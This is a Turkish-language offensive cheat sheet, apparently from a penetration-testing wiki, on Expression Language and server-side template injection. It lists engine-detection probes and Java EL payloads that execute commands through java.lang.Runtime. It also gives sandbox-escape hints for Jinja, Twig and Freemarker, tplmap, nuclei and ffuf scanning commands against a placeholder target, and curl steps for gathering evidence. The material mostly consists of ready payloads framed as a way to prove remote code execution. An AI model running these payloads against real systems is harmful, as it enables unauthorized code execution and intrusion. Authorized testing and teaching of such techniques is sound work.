EL - Expression Language
web offensive
EL - Expression Language web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.
Metodoloji
Section titled “Metodoloji”-
EL - Expression Languagegiriş noktalarını (param/header/cookie/upload/API) haritala. -
Hedefe özgü payload ve araçlarla hipotezi doğrula.
-
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
-
Zincirleme senaryo ve kanıt paketini tamamla.
Motor tespiti
Section titled “Motor tespiti”{{7*7}}${7*7}#{7*7}<%= 7*7 %>{{7*'7'}}tplmap -u 'https://TARGET/?name=FUZZ'Expression Language
Section titled “Expression Language”${7*7}#{T(java.lang.Runtime).getRuntime().exec('id')}${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('id')}Sandbox kaçışı ipuçları
Section titled “Sandbox kaçışı ipuçları”Jinja: lipsum / cycler / joiner globals → class dumpTwig: _self.env → setCache / loadTemplateFreemarker: freemarker.template.utility.Executecurl -sk --data 'tpl=PAYLOAD' https://TARGET/renderOperasyon notları
Section titled “Operasyon notları”EL - Expression Language sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.
Ek keşif komutları
Section titled “Ek keşif komutları”curl -sk https://TARGET/robots.txtcurl -sk https://TARGET/sitemap.xmlffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403nuclei -u https://TARGET -as -silentGET / HTTP/1.1Host: TARGETAccept: */*Kanıt toplama
Section titled “Kanıt toplama”mkdir -p evidence/web && tee evidence/web/notes.txtrequest/responsezaman damgasıkullanılan hesapetki özeticurl -sk https://TARGET/ -D evidence/web/headers.txt -o evidence/web/body.html